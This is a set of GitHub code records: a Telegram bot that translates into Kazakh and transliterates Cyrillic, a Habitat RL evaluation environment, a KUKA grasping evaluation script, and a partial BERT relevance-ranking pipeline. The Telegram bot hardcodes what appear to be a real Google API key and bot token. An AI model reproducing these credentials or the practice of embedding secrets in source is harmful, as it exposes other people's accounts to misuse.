{"seq_id": "8446534927", "text": "#!/usr/bin/env python3\nimport telebot\nimport requests\nimport json\nimport random\nfrom telebot import types\n\n# Google Cloud Translate API\napi = 'AIzaSyB5xVmGc6pjl-7BqUbKZDvRDA_F02X9yLE'\n\n# Telegram Bot token\ntoken = '1214223603:AAHlBCznA5xyxe7IjW6jnZHwHZz3t_k0Y7w'\nbot = telebot.TeleBot(token)\nurl = 'https://translation.googleapis.com/language/translate/v2'\n# Create a list of random kazakh names\nnames = [\"Arman\", \"Erzhan\", \"Erkezhan\", \"Azamat\", \"Bekbolat\", \"Alua\",\"Aydana\",\"Zhansaya\",\"Aysana\",\"Shynar\",\"Aslan\",\"Fatima\",\"Narikbi\"]\n\n# Create a list of random fairy tales\ntales = [\n    \"Kіshkentaı aqyldy balapan \\n https://www.youtube.com/watch?v=oXvarJiN-YU\",\n    \"USh TORAI OQIGASY \\n https://www.youtube.com/watch?v=iLpeMvCLHgg&list=PL_zebziuroEd3aP5I23CD_QGRVC_TI1kZ\",\n    \"Qoshqar men teke \\n https://www.youtube.com/watch?v=pGrzpCoJGGI\",\n    \"Jaqsylyq pen jamandyq \\n https://www.youtube.com/watch?v=Yi-0x98XJXg \",\n    \"Qadіrdіń baqyty \\n https://www.youtube.com/watch?v=VGsVuWROs6g \"\n]\nsongs_1 = [\n    \"https://www.youtube.com/watch?v=EoRbSLtPN4k\",\n    \"https://www.youtube.com/watch?v=kZflInXzJ2w\",\n    \"https://www.youtube.com/watch?v=ojfn8ivjNoo\"\n]\nsongs_2 = [\n    \"https://www.youtube.com/watch?v=eZzOkjGPR_Y\",\n    \"https://www.youtube.com/watch?v=P-F88_oGn30\",\n    \"https://www.youtube.com/watch?v=YPufRvMNw14\"\n]\n# Start command\n@bot.message_handler(commands=['start'])\ndef start_command(message):\n    bot.send_message(message.chat.id, \"Hello, {0.first_name}!\\n Я, очень добрая - <b>{1.first_name}</b>. Умею переводить на казахский и конвертировать с кириллицы на латиницу. Могу посоветовать имя для немере, найти сказки, песни на казахском или же рассказать про великих людей. В общем бабушкан 24/7 тигр гой \\n Если хочешь перевести слова напиши мне как сообщение, а если хочешь попробовать другие фишки используй команду /help \".format(message.from_user, bot.get_me()),\n                    parse_mode='html')\n@bot.message_handler(commands=['help'])\ndef help_command(message):\n    markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n    # Create two buttons\n    item1 = types.KeyboardButton(\"Random kazakh name\")\n    item2 = types.KeyboardButton(\"Fairy tales\")\n    item3 = types.KeyboardButton(\"Music\")\n    item4= types.KeyboardButton(\"Great people\")\n    item5=types.KeyboardButton(\"Museum\")\n    markup.add(item1, item2,item3, item4,item5)\n    bot.send_message(message.chat.id, \"Ал балам, слушаю, что хочешь узнать \",\n        parse_mode='html', reply_markup=markup)\n\n\n# Get response\n@bot.message_handler(content_types=[\"text\"])\ndef repeat_all_messages(message):\n    # message.text text of client\n    usertext = message.text\n    if message.text == 'Random kazakh name':\n        # randomly get name from array\n        bot.send_message(message.chat.id, random.choice(names))\n    elif message.text == 'Fairy tales':\n        # randomly get fairy tale from array\n        bot.send_message(message.chat.id, random.choice(tales))\n    elif message.text == 'Music':\n        markup1 = types.InlineKeyboardMarkup(row_width=2)\n        item11 = types.InlineKeyboardButton(\"Kúı\", callback_data='Kúı')\n        item22 = types.InlineKeyboardButton(\"Án\", callback_data='Án')\n        markup1.add(item11, item22)\n        bot.send_message(message.chat.id, 'Что хочешь послушать', reply_markup=markup1)\n    elif message.text == 'Great people':\n        markup2 = types.InlineKeyboardMarkup(row_width=2)\n        item12 = types.InlineKeyboardButton(\"Abai\", callback_data='p1')\n        item221 = types.InlineKeyboardButton(\"Shoqan\", callback_data='p2')\n        item222 = types.InlineKeyboardButton(\"Ybyraı\", callback_data='p3')\n        markup2.add(item12, item221,item222)\n        bot.send_message(message.chat.id, 'Что хочешь послушать', reply_markup=markup2)\n    elif message.text==\"Museum\":\n        mus_lat,mus_lon=43.2355665, 76.9487616\n        bot.send_location(message.chat.id,mus_lat,mus_lon)\n        bot.send_message(message.chat.id, '44, мк-он Самал-1, д, Алматы')\n    else:\n        # Prepare object for the request\n        myObj = {'key': api, 'q': usertext, 'target': 'kk', 'format': 'text'}\n        \n        # Send a request to Cloud Translate API\n        x = requests.post(url, data=myObj)\n\n        # Get response as a translated text\n        response = json.loads(x.text)[\"data\"][\"translations\"][0][\"translatedText\"]\n\n        # Convert the letter by method replace\n        final = response.replace(\"я\", \"ıa\").replace(\"э\", \"e\").replace(\"Э\", \"E\").replace(\"Я\", \"Ia\").replace(\"ю\",\n                                                                                                        \"ıý\").replace(\n            \"Ю\", \"Iý\").replace(\"ц\",\n                            \"ts\").replace(\n            \"а\", \"a\").replace(\"ә\", \"á\").replace(\"б\", \"b\").replace(\"д\", \"d\").replace(\"е\",\n                                                                                    \"e\").replace(\n            \"ф\", \"f\").replace(\"г\", \"g\").replace(\"ғ\", \"ǵ\").replace(\"х\", \"h\").replace(\"һ\", \"h\").replace(\"і\",\n                                                                                                    \"i\").replace(\n            \"и\", \"ı\").replace(\"й\", \"ı\").replace(\"ж\", \"j\").replace(\"к\", \"k\").replace(\"л\", \"l\").replace(\"м\",\n                                                                                                    \"m\").replace(\n            \"н\", \"n\").replace(\"ң\", \"ń\").replace(\"о\", \"o\").replace(\"ө\", \"ó\").replace(\"п\", \"p\").replace(\"қ\",\n                                                                                                    \"q\").replace(\n            \"р\", \"r\").replace(\"с\", \"s\").replace(\"ш\", \"sh\").replace(\"щ\", \"sh\").replace(\"ч\", \"ch\").replace(\"т\",\n                                                                                                        \"t\").replace(\n            \"ұ\", \"u\").replace(\"ү\", \"ú\").replace(\"в\", \"v\").replace(\"ы\", \"y\").replace(\"у\", \"ý\").replace(\"з\",\n                                                                                                    \"z\").replace(\n            \"ь\", \"\").replace(\"ъ\", \"\").replace(\"Ъ\", \"\").replace(\"Ь\", \"\").replace(\"А\", \"A\").replace(\"Ә\", \"Á\").replace(\n            \"Б\",\n            \"B\").replace(\n            \"Д\",\n            \"D\").replace(\n            \"Е\", \"E\").replace(\"Ф\", \"F\").replace(\"Г\", \"G\").replace(\"Ғ\", \"Ǵ\").replace(\"Х\", \"H\").replace(\"І\",\n                                                                                                    \"I\").replace(\n            \"Й\", \"I\").replace(\"И\", \"I\").replace(\"Ж\", \"J\").replace(\"К\", \"K\").replace(\"Л\", \"L\").replace(\"М\",\n                                                                                                    \"M\").replace(\n            \"Н\", \"N\").replace(\"Ң\", \"Ń\").replace(\"О\", \"O\").replace(\"Ө\", \"Ó\").replace(\"П\", \"P\").replace(\"Қ\",\n                                                                                                    \"Q\").replace(\n            \"Р\", \"R\").replace(\"С\", \"S\").replace(\"Ш\", \"Sh\").replace(\"Щ\", \"Sh\").replace(\"Ч\", \"Ch\").replace(\"Т\",\n                                                                                                        \"T\").replace(\n            \"Ұ\", \"U\").replace(\"Ү\", \"Ú\").replace(\"В\", \"V\").replace(\"Ы\", \"Y\").replace(\"У\", \"Ý\").replace(\"З\",\n                                                                                                    \"Z\").replace(\n            \"ё\", \"е\").replace(\"Ё\", \"E\")\n        \n        # Finally sending result message\n        bot.send_message(message.chat.id, final)\n\n@bot.callback_query_handler(func=lambda call: True)\ndef callback_inline(call):\n            if call.message:  # true\n                if call.data == 'Kúı':\n                    bot.send_message(call.message.chat.id, random.choice(songs_1))\n                elif call.data == 'Án':\n                    bot.send_message(call.message.chat.id, random.choice(songs_2))\n                elif call.data=='p1':\n                    p1=open(\"p1.jpg\",'rb')\n                    bot.send_photo(call.message.chat.id, p1)\n                    p1_a=open('one.ogg','rb')\n                    bot.send_message(call.message.chat.id, 'Аудио было сделанно благодаря боту @kzttsbot  демонстрирующий возможности сервиса по синтезу речи на казахском языке.Дружеский PR')\n                    bot.send_audio(call.message.chat.id, p1_a)\n                elif call.data=='p2':\n                    p2=open('p2.jpg','rb' )\n                    bot.send_photo(call.message.chat.id, p2)\n                    p2_a = open('th.ogg', 'rb')\n                    bot.send_audio(call.message.chat.id, p2_a)\n                    bot.send_message(call.message.chat.id,'Аудио было сделанно благодаря боту @kzttsbot  демонстрирующий возможности сервиса по синтезу речи на казахском языке.Дружеский PR')\n                elif call.data=='p3':\n                    p3=open('p3.jpg','rb')\n                    bot.send_photo(call.message.chat.id, p3)\n                    p3_a = open('two.ogg', 'rb')\n                    bot.send_audio(call.message.chat.id, p3_a)\n                    bot.send_message(call.message.chat.id,'Аудио было сделанно благодаря боту @kzttsbot  демонстрирующий возможности сервиса по синтезу речи на казахском языке.Дружеский PR')\n\n            bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id, text='Saǵan unady dep oılaımyn', reply_markup=None)\n            bot.answer_callback_query(callback_query_id=call.id, show_alert=False, text='Demal')\n\n\nif __name__ == '__main__':\n    bot.polling(none_stop=True)", "repo_name": "mukanova01/Katipash_azhe", "sub_path": "katipash.py", "file_name": "katipash.py", "file_ext": "py", "file_size_in_byte": 10210, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "telebot.TeleBot", "line_number": 13, "usage_type": "call"}, {"api_name": "telebot.types.ReplyKeyboardMarkup", "line_number": 43, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 43, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 45, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 45, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 46, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 46, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 47, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 47, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 48, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 48, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 49, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 49, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 62, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 65, "usage_type": "call"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 67, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 67, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 68, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 68, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 69, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 69, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 73, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 73, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 74, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 74, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 75, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 75, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 76, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 76, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 88, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 91, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 134, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 136, "usage_type": "call"}]}
{"seq_id": "35373601623", "text": "from logging import Logger\n\nfrom habitat.core.simulator import Observations\n\nfrom src.envs.habitat_rlenv import HabitatRLEnv\n\n\nclass HabitatEvalRLEnv(HabitatRLEnv):\n    r\"\"\"Custom RL environment for Evaluator.\"\"\"\n\n    def get_reward_range(self):\n        return [-1, 1]\n\n    def get_reward(self, observations):\n        return 0\n\n    def get_done(self, observations):\n        return self.habitat_env.episode_over\n\n    def get_info(self, observations):\n        return self.habitat_env.get_metrics()\n\n    def iter_to_episode(\n        self, episode_id: str, scene_id: str, logger: Logger\n    ) -> Observations:\n        r\"\"\"\n        Advance the environment's episode iterator to the given episode.\n        :param episode_id: ID of the episode to iterate to\n        :param scene_id: Scene ID of the episode to iterate to\n        :returns: initial observations from the episode after reset.\n        \"\"\"\n        # iterate to the last episode. If not found, the loop exits upon a\n        # StopIteration exception\n        last_ep_found = False\n        while not last_ep_found:\n            try:\n                obs = self._env.reset()\n                e = self._env.current_episode\n                if (str(e.episode_id) == str(episode_id)) and (e.scene_id == scene_id):\n                    logger.info(\n                        f\"Last episode found: episode-id={episode_id}, scene-id={scene_id}\"\n                    )\n                    last_ep_found = True\n                    return obs\n            except StopIteration:\n                logger.info(\"Last episode not found!\")\n                raise StopIteration\n\n    def reset_episode_iterator(self) -> None:\n        r\"\"\"\n        Reset the environment's episode iterator.\n        \"\"\"\n        # get a new episode iterator\n        iter_option_dict = {\n            k.lower(): v\n            for k, v in self._env._config.ENVIRONMENT.ITERATOR_OPTIONS.items()\n        }\n        iter_option_dict[\"seed\"] = self._env._config.SEED\n        self._env._episode_iterator = self._env._dataset.get_episode_iterator(\n            **iter_option_dict\n        )\n", "repo_name": "ericchen321/ros_x_habitat", "sub_path": "src/envs/habitat_eval_rlenv.py", "file_name": "habitat_eval_rlenv.py", "file_ext": "py", "file_size_in_byte": 2082, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 58, "dataset": "github-code", "pt": "81", "api": [{"api_name": "src.envs.habitat_rlenv.HabitatRLEnv", "line_number": 8, "usage_type": "name"}, {"api_name": "logging.Logger", "line_number": 24, "usage_type": "name"}, {"api_name": "habitat.core.simulator.Observations", "line_number": 25, "usage_type": "name"}]}
{"seq_id": "5725796217", "text": "import sys\r\nsys.path.append('..')\r\nfrom drlgrasp.pybullet_envs.kuka_reach_with_visual import KukaReachVisualEnv,CustomSkipFrame\r\nimport torch\r\n\r\nenv = KukaReachVisualEnv(is_good_view=True, is_render=True)\r\nenv = CustomSkipFrame(env)\r\nobs = env.reset()\r\n\r\nac = torch.load(\"../saved_models/model.pt\")\r\n\r\nactions = ac.act(torch.as_tensor(obs, dtype=torch.float32))\r\n\r\nsum_reward = 0\r\nsuccess_times = 0\r\nfor i in range(50):\r\n    obs = env.reset()\r\n    for step in range(1000):\r\n        actions = ac.act(torch.as_tensor(obs, dtype=torch.float32))\r\n        obs, reward, done, info = env.step(actions)\r\n        if reward == 1:\r\n            success_times += 1\r\n        if done:\r\n            break\r\n\r\nprint('sum reward={}'.format(sum_reward))\r\nprint('success rate={}'.format(success_times / 50))\r\n\r\n\r\n\r\n", "repo_name": "guyuehome/guyueclass", "sub_path": "machine_learning/deep_reinforcement_learning_grasping/drlgrasp/eval/kuka_reach_with_visual.py", "file_name": "kuka_reach_with_visual.py", "file_ext": "py", "file_size_in_byte": 794, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 534, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "drlgrasp.pybullet_envs.kuka_reach_with_visual.KukaReachVisualEnv", "line_number": 6, "usage_type": "call"}, {"api_name": "drlgrasp.pybullet_envs.kuka_reach_with_visual.CustomSkipFrame", "line_number": 7, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.as_tensor", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.as_tensor", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 19, "usage_type": "attribute"}]}
{"seq_id": "74530393224", "text": "# -*- coding: utf-8 -*-\nimport sys\nfrom os.path import join, dirname, abspath, exists\n\nsys_path = dirname(dirname(abspath(__file__)))\nif sys_path not in sys.path:\n    sys.path.insert(0, sys_path)\n\nparent_sys_path = dirname(sys_path)\nif parent_sys_path not in sys.path:\n    sys.path.insert(0, parent_sys_path)\n\nparent_sys_path = dirname(parent_sys_path)\nif parent_sys_path not in sys.path:\n    sys.path.insert(0, parent_sys_path)\n\nimport utils.config_loader as config\nfrom utils.config_loader import logger, path_parser, config_meta, meta_model_name\nfrom os import listdir\nfrom os.path import isfile, isdir, join, dirname, abspath, exists\n\n\nimport copy\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport utils.tools as tools\n\nfrom argparse import ArgumentParser\nimport os\nimport io\nfrom tqdm import tqdm\nimport summ.rank_sent as rank_sent\nimport summ.select_sent as select_sent\nimport ir.ir_tools as ir_tools\n# from ir.ir_tools import load_retrieved_sentences\nfrom bert_rr.data_pipe_cluster import QSDataLoader, load_retrieved_sentences\nimport bert_rr.rr_config as rr_config\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport shutil\nimport summ.compute_rouge as rouge\n\nfrom frame.unilm_utils.unilm_eval import UniLMEval\nfrom frame.unilm_utils.unilm_input import UniLMInput\n\nimport tools.general_tools as general_tools\n\n\"\"\"\n    This module builds the following pipeline:\n\n    rel_scores [compute, dump] =>\n    rr_rank [load rel_scores, compute, dump]=>\n    rr_records [load rr_rank, compute, dump]\n\n    For the same IR records and query type, rel_scores and rr_rank only need to be processed once.\n\n    rr_records can be generated with different threhold, e.g., confidence-based (CONF_THRESHOLD_RR) or TopK-based (TOP_NUM_RR).\n\n    tune() can tune threholds. Also, you can use it to produce TopK Recall Curve, which can be used to evaluate Semantic Matching Model.\n\n\"\"\"\n\nrel_scores_dp = join(path_parser.graph_rel_scores, rr_config.RELEVANCE_SCORE_DIR_NAME)\ncids = tools.get_test_cc_ids()\n\nrank_dp = join(path_parser.summary_rank, rr_config.RR_RANK_DIR_NAME_BERT)\nir_rec_dp = join(path_parser.summary_rank, rr_config.IR_RECORDS_DIR_NAME)\n\n\ndef init():\n    # parse args\n    parser = ArgumentParser()\n    parser.add_argument('n_devices',\n                        nargs='?',\n                        default=4,\n                        help='num of devices on which model will be running on')\n\n    args = parser.parse_args()\n    all_device_ids = [0, 1, 2, 3, 4, 5, 6, 7]\n    device = all_device_ids[:int(args.n_devices)]\n    # device = [int(d) for d in args.n_devices]\n    config_meta['device'] = device\n\n    if not torch.cuda.is_available():\n        placement = 'cpu'\n        logger.info(f'path mode: {config.path_type}, placement: {placement}')\n    else:\n        if len(device) == 1:\n            placement = 'single'\n            torch.cuda.set_device(device[0])\n        elif config_meta['auto_parallel']:\n            placement = 'auto'\n        else:\n            placement = 'manual'\n\n        logger.info(f'path mode: {config.path_type}, placement: {placement}, n_devices: {args.n_devices}')\n    config_meta['placement'] = placement\n\n\ndef _place_model(model):\n    # epoch, model, tokenizer, scores = load_checkpoint()\n    if config_meta['placement'] == 'auto':\n        model = nn.DataParallel(model, device_ids=config_meta['device'])\n        logger.info(f'Parallel Data to devices: {config_meta[\"device\"]}')\n\n    if config_meta['placement'] in ('auto', 'single'):\n        model.cuda()\n\n    model.eval()\n    return model\n\n\ndef _dump(model, cluster_loader, dump_dp):\n    doc_rel_scores = []\n    for _, batch in enumerate(cluster_loader):\n        feed_dict = copy.deepcopy(batch)\n\n        for (k, v) in feed_dict.items():\n            with torch.no_grad():\n                feed_dict[k] = Variable(v, requires_grad=False)\n\n        n_sents, max_nt = feed_dict['token_ids'].size()\n        # pred: (batch * max_ns_doc) * 2\n        pred = model(feed_dict['token_ids'],\n                     feed_dict['seg_ids'],\n                     feed_dict['token_masks'])\n\n        # logger.info(f'pred: {pred}')\n        # logger.info(f'pred[0]: {pred[0]}')\n        if type(pred) is tuple:  # BertForSequenceClassification returns tuple\n            pred = pred[0]\n\n        n_cls = pred.size()[-1]\n        if n_cls == 2:\n            pred = F.softmax(pred, dim=-1)[:, 1]\n        elif n_cls == 1:\n            pred = pred.squeeze(-1)\n        else:\n            raise ValueError(f'Invalid n_cls: {n_cls}')\n\n        rel_scores = pred.cpu().detach().numpy()  # d_batch,\n        logger.info(f'rel_scores: {rel_scores.shape}')\n\n        doc_rel_scores.append(rel_scores[:n_sents])\n\n    rel_scores = np.concatenate(doc_rel_scores)\n\n    dump_fp = join(dump_dp, cluster_loader.cid)\n\n    tools.save_obj(obj=rel_scores, fp=dump_fp)\n    logger.info(f'Dumping ranking file to: {dump_fp}')\n\n\ndef get_data_loader_gen(ir_rec_dp):\n    loader_params = {\n        'tokenize_narr': False,\n        'query_type': rr_config.QUERY_TYPE,\n        'retrieve_dp': ir_rec_dp,\n        'with_sub': rr_config.WITH_SUB,\n    }\n\n    if config.meta_model_name in ('bert_rr'):\n        loader_cls = QSDataLoader\n    else:\n        raise ValueError(f'Invalid meta_model_name: {config.meta_model_name}')\n\n    data_gen = loader_cls(**loader_params)\n    return data_gen\n\n\ndef dump_rel_scores():\n    if exists(rel_scores_dp):\n        raise ValueError(f'rel_scores_dp exists: {rel_scores_dp}')\n    os.mkdir(rel_scores_dp)\n\n    ir_rec_dp = join(path_parser.summary_rank, rr_config.IR_RECORDS_DIR_NAME)\n\n    model = _place_model(model=config.bert_model)\n    data_loader_generator = get_data_loader_gen(ir_rec_dp)\n    for cluster_loader in data_loader_generator:\n        if config.meta_model_name in ('bert_rr'):\n            _dump(model, cluster_loader=cluster_loader, dump_dp=rel_scores_dp)\n        else:\n            raise ValueError(f'Invalid meta_model_name: {config.meta_model_name}')\n\n\ndef load_rel_scores(cid, rel_scores_dp):\n    rel_scores_fp = join(rel_scores_dp, cid)\n    return tools.load_obj(rel_scores_fp)\n\n\ndef rel_scores2rank():\n    if exists(rank_dp):\n        raise ValueError(f'rank_dp exists: {rank_dp}')\n    os.mkdir(rank_dp)\n\n    for cid in tqdm(cids):\n        rel_scores = load_rel_scores(cid=cid, rel_scores_dp=rel_scores_dp)\n        sent_ids = np.argsort(rel_scores)[::-1].tolist()\n\n        sid_score_list = []\n        for sid in sent_ids:\n            sid_score = (f'0_{sid}', rel_scores[sid])\n            sid_score_list.append(sid_score)\n\n        original_sents, _ = load_retrieved_sentences(retrieved_dp=ir_rec_dp, cid=cid)\n        rank_records = rank_sent.get_rank_records(sid_score_list, sents=original_sents)\n\n        n_sents = rank_sent.dump_rank_records(rank_records=rank_records, out_fp=join(rank_dp, cid), with_rank_idx=False)\n        logger.info(f'Dump {n_sents} ranking records')\n\n\ndef tune():\n    \"\"\"\n        Tune RR confidence / compression rate / topK\n        based on Recall Rouge 2.\n    :return:\n    \"\"\"\n    if rr_config.FILTER in ('conf', 'comp'):\n        tune_range = np.arange(0.05, 1.05, 0.05)\n    else:  # topK\n        interval = 10\n        if rr_config.ir_config.FILTER == 'topK':\n            end = rr_config.ir_config.FILTER_VAR + interval\n        else:\n            end = 200 + interval\n        tune_range = range(interval, end, interval)\n\n    rr_tune_dp = join(path_parser.summary_rank, rr_config.RR_TUNE_DIR_NAME_BERT)\n    rr_tune_result_fp = join(path_parser.tune, rr_config.RR_TUNE_DIR_NAME_BERT)\n    with open(rr_tune_result_fp, mode='a', encoding='utf-8') as out_f:\n        headline = 'Filter\\tRecall\\tF1\\n'\n        out_f.write(headline)\n\n    for filter_var in tune_range:\n        if exists(rr_tune_dp):  # remove previous output\n            shutil.rmtree(rr_tune_dp)\n        os.mkdir(rr_tune_dp)\n\n        for cid in tqdm(cids):\n            retrieval_params = {\n                'model_name': rr_config.RR_MODEL_NAME_BERT,\n                'cid': cid,\n                'filter_var': filter_var,\n                'filter': rr_config.FILTER,\n                'deduplicate': None,\n                'min_ns': rr_config.RR_MIN_NS\n            }\n\n            if meta_model_name.startswith('bert_squad') and config.squad_var.startswith('bert_shared'):\n                retrieval_params['norm'] = True\n\n            retrieved_items = ir_tools.retrieve(**retrieval_params)\n            summary = '\\n'.join([item[-1] for item in retrieved_items])\n            # print(summary)\n            with open(join(rr_tune_dp, cid), mode='a', encoding='utf-8') as out_f:\n                out_f.write(summary)\n\n        performance = rouge.compute_rouge_for_cont_sel_in_sentences(rr_tune_dp)\n        with open(rr_tune_result_fp, mode='a', encoding='utf-8') as out_f:\n            if rr_config.FILTER in ('conf', 'comp'):\n                rec = '{0:.2f}\\t{1}\\n'.format(filter_var, performance)\n            else:\n                rec = f'{filter_var}\\t{performance}\\n'\n\n            out_f.write(rec)\n\n    if exists(rr_tune_dp):  # remove previous output\n        shutil.rmtree(rr_tune_dp)\n    print(f'Check tuning results at : {rr_tune_result_fp}')\n\n\ndef finer_tune():\n    \"\"\"\n        Tune RR confidence / compression rate / topK\n        based on Recall Rouge 2.\n    :return:\n    \"\"\"\n    if rr_config.FILTER in ('conf', 'comp'):\n        tune_range = np.arange(0.05, 1.05, 0.05)\n    else:  # topK\n        tune_range = range(1, 31)\n\n    rr_tune_dp = path_parser.summary_rank / rr_config.RR_FINER_TUNE_DIR_NAME_BERT\n    rr_tune_result_fp = path_parser.tune / f'{rr_config.RR_FINER_TUNE_DIR_NAME_BERT}.txt'\n    with open(rr_tune_result_fp, mode='a', encoding='utf-8') as out_f:\n        headline = 'Filter\\tRecall\\tF1\\n'\n        out_f.write(headline)\n\n    for filter_var in tune_range:\n        if exists(rr_tune_dp):  # remove previous output\n            shutil.rmtree(rr_tune_dp)\n        os.mkdir(rr_tune_dp)\n\n        for cid in tqdm(cids):\n            retrieval_params = {\n                'model_name': rr_config.RR_MODEL_NAME_BERT,\n                'cid': cid,\n                'filter_var': filter_var,\n                'filter': rr_config.FILTER,\n                'deduplicate': None,\n                'min_ns': rr_config.RR_MIN_NS\n            }\n\n            if meta_model_name.startswith('bert_squad') and config.squad_var.startswith('bert_shared'):\n                retrieval_params['norm'] = True\n\n            retrieved_items = ir_tools.retrieve(**retrieval_params)\n            summary = '\\n'.join([item[-1] for item in retrieved_items])\n            # print(summary)\n            with open(join(rr_tune_dp, cid), mode='a', encoding='utf-8') as out_f:\n                out_f.write(summary)\n\n        performance = rouge.compute_rouge_for_dev(rr_tune_dp, tune_centrality=False)\n        with open(rr_tune_result_fp, mode='a', encoding='utf-8') as out_f:\n            if rr_config.FILTER in ('conf', 'comp'):\n                rec = '{0:.2f}\\t{1}\\n'.format(filter_var, performance)\n            else:\n                rec = f'{filter_var}\\t{performance}\\n'\n\n            out_f.write(rec)\n\n    if exists(rr_tune_dp):  # remove previous output\n        shutil.rmtree(rr_tune_dp)\n\n\ndef _load_rank_items_joint_with_ir(rr_rank_dp, ir_record_dp, cid, interpolation, joint_scale_norm, rr_max_min_norm):\n    rr_rank_fp = join(rr_rank_dp, cid)\n    with io.open(rr_rank_fp, encoding='utf-8') as f:\n        rr_rank = f.readlines()\n    rank_items = [ll.rstrip('\\n').split('\\t') for ll in rr_rank]\n\n    if rr_max_min_norm:\n        rank_items, _ = ir_tools._norm(rank_items)\n\n    # get rr_scores\n    rr_sent_ids, rr_scores = [], []\n    for items in rank_items:\n        rr_sent_ids.append(int(items[0].split('_')[-1]))\n        rr_scores.append(float(items[1]))\n    rr_scores = np.array(rr_scores)\n    # print('rr_sent_ids: {}'.format(rr_sent_ids))\n\n    # get ir_scores\n    ir_record_fp = join(ir_record_dp, cid)\n    with io.open(ir_record_fp, encoding='utf-8') as f:\n        ir_scores = [float(line.split('\\t')[1]) for line in f.readlines()]\n    ir_scores = np.array(ir_scores)\n    ir_scores = ir_scores[rr_sent_ids]\n\n    # interpolate\n    if joint_scale_norm:\n        rr_scores = rr_scores / np.sum(rr_scores)\n        ir_scores = ir_scores / np.sum(ir_scores)\n        print('normed: rr_scores: {}'.format(rr_scores))\n        print('normed: ir_scores: {}'.format(ir_scores))\n\n    joint_scores = interpolation * rr_scores + (1 - interpolation) * ir_scores\n    joint_scores = joint_scores.tolist()\n\n    # write into ranking items\n    for item_idx in range(len(rank_items)):\n        rank_items[item_idx][1] = joint_scores[item_idx]\n\n    # re-rank as per new scores and revert to str\n    rank_items = sorted(rank_items, key=lambda item: item[1], reverse=True)\n    for items in rank_items:\n        items[1] = str(items[1])\n\n    return rank_items\n\n\ndef retrieve_joint_with_ir(rr_rank_dp,\n                           ir_record_dp,\n                           cid,\n                           filter_var,\n                           filter,\n                           interpolation,\n                           deduplicate,\n                           min_ns,\n                           joint_scale_norm,\n                           rr_max_min_norm):\n    rank_items = _load_rank_items_joint_with_ir(rr_rank_dp, ir_record_dp, cid, interpolation,\n                                                joint_scale_norm, rr_max_min_norm)\n\n    if filter == 'conf':\n        retrieved_items = ir_tools._retrieve_from_rank_items_via_conf(rank_items,\n                                                                      filter_var,\n                                                                      deduplicate=deduplicate,\n                                                                      min_ns=min_ns)\n    elif filter == 'comp':\n        retrieved_items = ir_tools._retrieve_from_rank_items_via_comp(rank_items,\n                                                                      filter_var,\n                                                                      deduplicate=deduplicate,\n                                                                      min_ns=min_ns)\n    else:\n        raise ValueError(f'Invalid FILTER: {filter}')\n\n    logger.info(f'retrieved {len(retrieved_items)}/{len(rank_items)} items for {cid}')\n\n    return retrieved_items\n\n\ndef rr_rank2records():\n    rr_rec_dp = join(path_parser.summary_rank, rr_config.RR_RECORD_DIR_NAME_BERT)\n\n    if exists(rr_rec_dp):\n        raise ValueError(f'rr_rec_dp exists: {rr_rec_dp}')\n    os.mkdir(rr_rec_dp)\n\n    for cid in tqdm(cids):\n        retrieval_params = {\n            'model_name': rr_config.RR_MODEL_NAME_BERT,\n            'cid': cid,\n            'filter_var': rr_config.FILTER_VAR,\n            'filter': rr_config.FILTER,\n            'deduplicate': None,\n            'min_ns': rr_config.RR_MIN_NS\n        }\n        \n        # todo: examine if we want to normalize scores for bert_rr\n        if meta_model_name.startswith('bert_squad') and config.squad_var.startswith('bert_shared'):\n            retrieval_params['norm'] = True\n\n        retrieved_items = ir_tools.retrieve(**retrieval_params)\n        ir_tools.dump_retrieval(fp=join(rr_rec_dp, cid), retrieved_items=retrieved_items)\n\n\ndef 